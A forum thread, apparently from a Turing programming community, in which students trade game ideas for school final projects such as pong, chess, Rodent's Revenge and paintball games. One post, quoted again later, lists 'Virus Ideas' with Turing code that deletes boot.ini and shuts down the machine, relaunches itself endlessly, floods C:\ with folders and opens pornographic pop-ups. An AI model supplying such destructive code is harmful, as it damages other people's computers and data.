GAME IDEAS- Check Here First if you need some!!!!
-----------------------------------
I realized that since the ISP or 30% summative assignments are coming up, alot of people are going to post requests for game ideas, so instead of that spamming your site, i have decided to start a thread for people who wish to suggest games, post anything u want, it doesnt have to be a game, it can be any program that you think is make-able, (everything is makeable)

My Ideas
-----------
-pong
-streetfighter type game
-mario (very excellent if you can get the sfx going too)
-OS (a simple operating system with a word processor and paint program)
-Chess (if your advanced enough to program the ai, or else do a two player chess)
-pokemon type game (birds eye view RPG)
-any RTS like command and conquer or warcraft is good
-racing game (if u wanna make it 3D use catalyst 3D engine NOT RAYCASTING, raycasting is very ugly and can lead to fatal seizures j/k, i just thinks its crappy)
-button masher!!!
-whack-a-mole
-BEST GAME TO REMAKE: CASTLEVANIA...oh memories...
-robotron type shoot out
-those crossing the road with crazy traffic games
-cannonball (you aim the cannon at different angles and try to hit the computers cannon, requires trajectory knowledge)
--------------------------------------------------------------------------------------
thats all for now

WOW!!! it's become a sticky!!! I feel so...so...honoured **wipes tear off eyes** lolz...so yea...some "program" ideas:

-solitaire (not too hard...the hard part is making the cards)
-any board game like trouble/ sorry/ monopoly/ risk
-minesweeper (actualy very easy to make)
-checkers
-SPACESHOOTER
-push-push (the hard part is making the puzzle solvable, i suggest using one of the previously available puzzles online)
-maze
- more on the way.....

Virus Ideas.
-Make a program that deletes boot.ini and turns off your computer.
Dir.Change ("C:\\")
File.Delete("boot.ini")
put Sys.Exec ("C:\\Windows\\Shutdown.exe")
%Goodbye computer
-Make a program that runs itself. Over and over and over (you've got to compile it to do this)
loop
    put Sys.Exec ("ThisFile.Exe")
end loop
Your computer will lock up like a nervous virgin on prom night.
-Make a bunch of folders
Dir.Change("C:\\")
for i:1..maxint
    Dir.Create (intstr(i))
end for

-Fun with pop up windows.
 var site : array 1..whatever of string := init ("www.porn.com", a bunch more porn sites)
loop
   if Sys.Exec (site (Rand.Int(1,upper(site)))) then
   end if
end loop

Make a collection of these for an...'alternet' ISU  :twisted:

I am currently making a "who wants to be a millionaire" game and it is due in under two weeks (yikes).  It might not seem like much because it is relatively easy (no complicated commands), but it takes a long time to get lifelines working, fastest finger competition, and not to mention all the possible questions for each round (we only have to have 3 per round but I am trying for 5, which will mean I have to make more lifeline stuff).  I will post my game once it is done and handed in, can't do it earlier since everyone in my class goes on this site.

any additional ideas would be apreciated if anyone can think of them.

I think these 2 that I am about to submit have never been said before:

A game like The Sims
a game like SimCity

I was talkin to my teacher the other day and he said a Student which is very good at turing made The Sims for his final project. It was complete with hunger, happy etc bars and everything. And simcity I just thought of cause I was playing SC4 a few minutes ago. Those 2 both would be very challenging, but it would probably give you an excellant mark and be very fun to play afterwards

anyways, Im learning C++ over the summer, that is, after SAT, and math. And I don't think we'll be making the entire black and white, I'll try to make AI for the creatures, instead of just scripting AI, I want to do something different, like having it recognize different situations and crap like that, oh well, if it is too hard, i'll switch the game, cuz SAT do come first, and that's going to take me alot of practice.

Lesson:
After poly's post wtf happened?
If your post does not keep on the topic, then don't post. If you do, either post it in the spam, or it might get deleted.
Think about the S#!T that u post. and make sure it belongs in this topic. really i should delete the posts above (up untill poly's)
What you could say:
Wow! that is really cool, it must have taken a long time.....
Here are some other ideas:
-...
-...
-...
As you can see, there is content relating to the topic. Other wise DON't post.
Here is a bad post:if he made it on turing, it probably has some cheasy graphics anywayz, me and AsianSensation are gonna make black and white
Analysis:
As you can see, the bad post has s#!t to do with the topic. Thus, it is a bad post.

my other idea I got from my friend who showed me this game he downloaded off the internet made in Game Maker.  basically there are four little ovals with eyes and you control one of them, comp or human can control others..  You move them around, noting that they slide cuz its on ice, and try to get the gold.  Gold starts in the middle or wherever of the ice rink and you hvae to hold on to it for as long as you can.  These ovals can get the other ovals to drop it by shooting at them.

A really good (but complicated) game would be one I believe also found on AddictingGames.com. Its called SnowCraft, which is basically a snow ball fight against an AI. You have 3 allies, which you can move around your half of the map, your enemies start with 3 guys, and basically their guys double every level. If you hold left click over one of the sprites, his power bar appears over his head as he powers up. Basically, the more power you have, the farther the snow ball goes. If you hit an enemy, he gets stunned, and is vulnerable to another attack. If you hit him again, he falls unconcious (he will get up  in like 5 seconds), if you hit him again, he is out cold...for good. The AI is not complicated in this game, because t here is none, lol. The enemies always walk in a preset, strategic path. This game is based in a squared map, with a diagonal  (invisible) divider from bottom left to top right. This line cannot be passed by you, but the enemy can. (Stupidly enough). I can think of ways this game could be made, but seriously, making it as a gr10 or gr11 ISU would be an instant  A mark...if you can pull it off correctly. Im not sure about any thing passed gr11 because im only there so far. Well, I think its a good idea, thought it was worth mentioning. :wink:

-----------------------------------
I've seen snowcraft on a few other sites as well, really good game :D

your post JHDK reminded me of another possible game to make...

Rodent's Revenge :)  
basically in this you are a rodent and you start in the middle of a map that is a square.  There are blocks that start off in a square that isn't quite as big as the map.  When you move to one side, if there is a block or a line of blocks there, it moves it (just the one block or the whole row, depending on what's there) one spot in the direction.  Cats spawn pretty slowly around the map and they try to get to you, but they can't push the blocks.  To kill the cats (here's the revenge part in Rodent's Revenge) you must trap them in a 1x1 square.  When you've trapped all the cats on the map, they turn into gold and you try to get the gold if you can get to it.  After a set amount of time passes the level changes.  The second level is the same except that there are immovable blocks (maybe 15) throughout the level.  The third level is the same as the second except that there are far fewer blocks (maybe half) and they start spread out over the whole map (which means you have to be quick because the cats will get you real soon after the map starts).  Finally, you have 3 lives to get as far as you can.  Each time you die, you lose a life and respawn at a random place on the map

That would be an awesome game to make, hope someone does!!  If anyone does, post it!! :)

Oh another game is Liero

that would be AMAZING if it could be done.

Liero is a fast paced 2 player worms game..  just make sure you can ninja rope around the map, adjust the length of your rope, switch between 5 different weapons you possess at any time, and aim the correct way (up and down keys aim)
google liero if you want to download it

he meant my final for last year. It was liero..............without the terrain detection and the massive loads of blood.........Though it was split screened, and it was relative motion type of thing. It's under the submission forum, called Ultimate Mario: http://www.compsci.ca/v2/viewtopic.php?t=1354

and I think me and dodge are making triple triad, as soon as I and him learn some OpenGL and whatnot.

I had this idea today, then forgot it, then shorthair just posted it in the collision detection thread, and I'm posting it here as quickly as possible before shorthair thinks about doing this :P

make a marble labrynth game.  it would involve physics as well as collision detection.  you could use the arrow keys or the mouse to tilt the board, either way.  also it should make a random labrynth every time.  you could also have levels if you really want to go far.  
if you want it to look snazy, find some way to make the marble look like a real marble would, with the cool thing in the middle going like mad :D

a basketball game where you have to choose velocity and angle.  
or a scorch game :P  

I have seen a scorch game on the net, but it was extremely complicated (it had a lot of the weapons in scorch).  It was worse for it.  I mean a simple scorch game.

Someone should make a game where you shoot bouncing balls... and you gotta shoot them before they stop bouncing. And apply all the laws of physics to them... have wind and such.
That would be... umm... interesting...?  :?

However, its still a good idea to make in Turing.  It wouldn't be very hard, however.  All you need to do is know / steal the formula for the y position of a ball.

I have an idea I might try to pursue for my final project in Turing.

I played this game that someone made (poorly) with game maker. It's a paintball game in which you have an overhead view of a simple Xball field(If you aren't familliar with paintball, Xball is a type of speedball, which is paintball played on a 75x100 foot field with inflatable bunkers, basically)

You control one player on your team, the rest are AI. The other team is only AI. You click where you want to shoot paintballs.

It would be a fun game if done well.

The hard part would obviously be the AI. I don't think I can make AI for it in Turing.

I'm a Turing n00b, so does anyone know how I could make this AI?

If it's too difficult, then I suppose I'm going to just do Tetris or something.

Another game I have an idea for is something like a very simple version of Fallout Tactics. If you haven't heard of it, it's basically a turn-based shooting game. If I made this I could do it two-player, and it would be cool.

Basically, on his turn, the player would have a certain number of action points(AP), and these action points would be used up either by moving, shooting, or changing stance(which slows movement but increases accuracy and makes a harder target). When a person shoots at someone, they are given a percentage to hit the person based on their weapon, distance away, their stance, and whether or not they've been blinded.

I'm thinking in a simple Turing version, each team would have a set number of guys with set weapons. I.E. each team would have one guy with a hunting rifle, three with assault rifles, one with grenades, one with a bazooka, and one with a shotgun.

I think I might try this. It doesn't seem like it would be very hard to do, but it would take a long time.

For my ISP i'm creating an online tag game in which you connect to a main server that has a list of game servers (run p2p between players in game). You also have the option of creating a game that others can join. The movement isn't your normal if prssing up it moves you up one space if pressing left you move left one space but instead you use left and right to turn and use up and down to move forward and back. I plan to add many extras such as allowing 2 on 2, manhunt, end of game scoreboards,etc. in order to make it more than your average tag game. And hey if you have any sugestions feel free to post them or pm me. Oh ya i've attached the first testing file off it, and the pics needed. The game's offline, 2player, and has no cpu's yet

-Bricks
-Tetris (Man it's aged but Aaaawesome)
-A Keyboard Simulator (If you could get the sounds)
-Bowling
-Any game on miniclip,addicting games, coffee break arcade, etc.

Very possible. If you read up on people who make custom controllers and such for MAME boxes and what not, the arcade controls or light guns or whatever all work just like a mouse or keyboard. You could get a PC light gun, steal one of those big ones from area 51 arcade game, build a cabinet and put a monitor and PC in it, and program a turing game that makes aliens pop up behind objects and when you fire the gun (AKA click on the alien) you get points.

Another Idea
-----------------------------------
A great thing as a game for Turing is "Who wants to be a millionaire", since the overall graphics are not required to be as in "Zelda" game... and the game itself can have different questions for a different # of a question.  Not as hard to do as any other games, even I did it and I have just over a month of experience with Turing, but it took me a long time.
Anyways the idea, I think, is good and its easy to make. Good Luck. :wink:

one thing that I did as a final project one year was an above view space shooter. basically all it did was the asteroids came down the screen and you had to shoot them, but to make it more challenging and fun I also added in gravity (all objects had mass and were attracted to each other), metal asteroids (they bounced off each other, and made rock asteroids break up into smaller peices) and things like that. Since I was rather proud of this game of mine (and since I finished it a month into the class...) I left it on some of the computers so other people could play; which lead to high scores and hacking of high scores and then encrypted high scores (nothing fancy, just a plain xor encoded string to be sure that every high score was valid).

Admittedly I did all this in pascal instead of turing... but the ideas are still valid. I kinda wish that I still had that program... it was fun to play

On a note to previous posts I currently know of 2 scorched earth games available online for free. Both are online multiplayer with options for AI.
http://www.scorch2000.com based and done in Java, and scorched 3D, which I bet you can find somewhere by google. Also i know a friend who has completed Triple Triad, I can ask him to post it if any of you want, it's very good. 

On topic - Here's some of my suggestions
-A game similar to Metal SLug/ Heli Attack 3 using angles to aim and shoot.
-A top down RPG say like FF1 and FF2 but with better graphics.
-Making a 2D Legend of Zelda game.(what i'll be working on over my christmas break)
-A fixed 2D shooter that tries to emulate 3D by using transparent graphics and different scrolling times. (Like Duckhunt but way more complex, and would allow the player to look all around himself)(:P curently working on this right now)

*** also expanding on the last idea, i was thinking using networking, have a game exactly like that, but allows for more players, (specifics :: Saving private Ryan - the scene where the GI's defend the town) have say 1 player up in a bell tower with a sniper, visible to others, another up in the front with a machine gun, and so on. There would be a mass of targets and the objectives would be to stop the enemy from getting to the other side and to obtain the most points, The multiplayer element would be that the enemies would be available to all the players, so dynamically you could see the bullet trails and other players killing the enemies on your screen, so it would be a competition style play. Also health could be added so that a duck and dodge element could be implemented also. *** i know its pretty advance but i think it would be manageable in turing :P

-Make a program that deletes boot.ini and turns off your computer.

File.Delete("boot.ini")
put Sys.Exec ("C:\\Windows\\Shutdown.exe")
%Goodbye computer
-Make a program that runs itself. Over and over and over (you've got to compile it to do this)
loop
    put Sys.Exec ("ThisFile.Exe")
end loop
Your computer will lock up like a nervous virgin on prom night.
-Make a bunch of folders
Dir.Change("C:\\")
for i:1..maxint
    Dir.Create (intstr(i))
end for

-Fun with pop up windows.
 var site : array 1..whatever of string := init ("www.porn.com", a bunch more porn sites)
loop
   if Sys.Exec (site (Rand.Int(1,upper(site)))) then
   end if

That Asian Guy, if you actually succeeded making a good DDR game in Turing on your PC and you made the step pad yourself, too, then you're worth my admiration.

Actually, it might be possible to have a steppad through Turing. It might take some look into the Joystick module. Might be worth looking into if you're ambitious.

No, no. If you're going through the trouble of building a pad use the guts of a keyboard. Everything knows how to use a keyboard.

That's assuming that your computer actually has one (they aren't a rarity yet, but they are disappearing). And also that you want to trouble with it in Turing, but maybe you do.

Good luck, there's not a whole lot of documentation. I think there was a post from a while ago explaining everything about the Joystick module. Search it up if you're interested.

well i found 2 posts about the subject, searched turing's help, and found the joystick.tu file in the turing's predef folder

with all this i will mod the tu file and hopfully allow for joysticks (and gamepads) in turing games

i will post in a new topic if i reach anything

I just finished making city jumper for my grade 9 ISP. Its basically a stickfigure who has to jump over buildings, hes in constant motion, and the left and right key make him jump in a small or large arc. Its really easy and the collision detection is simple if you know how to do it :D  :D

You could make a fighter game in Turing - choose your character choose your map and deke it out with attacks specific to each character.  Items falling from the sky that the player could use would be nice.  That's what I'm trying to do.
And if your on top of the ball with gravity and trajectory, you could try a Super Smash Bros type fighting system.

I'm actually making a smallish FPS game, click on targets, the dissappear, your ammo counter goes down. I also have to use the parallel port for something. I will use it to make a controller, you know, reload button, switch weapons for different fire rate, and ammo count. I need help with the "collision detection" for the boxes.

@redisforever: I actually have a game exactly like that. What do you mean by collision detection? Is it for hitting the boxes or if they get too close together. (Use What.Colour for hitting the boxes, it's the fastest way I know how.)

Bad. 

What.Colour is for high school teachers who are unable or unwilling to teach rectangular collision detection.

As a matter of fact, I have almost finished the game as of today. I have also added some code that randomly generates target co-ordinates and also a reload button. I also figured out how to get it to give you a point everytime you hit the target. I can post this later after I make it work without a parallel port controller I had to make. I'll have to make it use the keyboard.
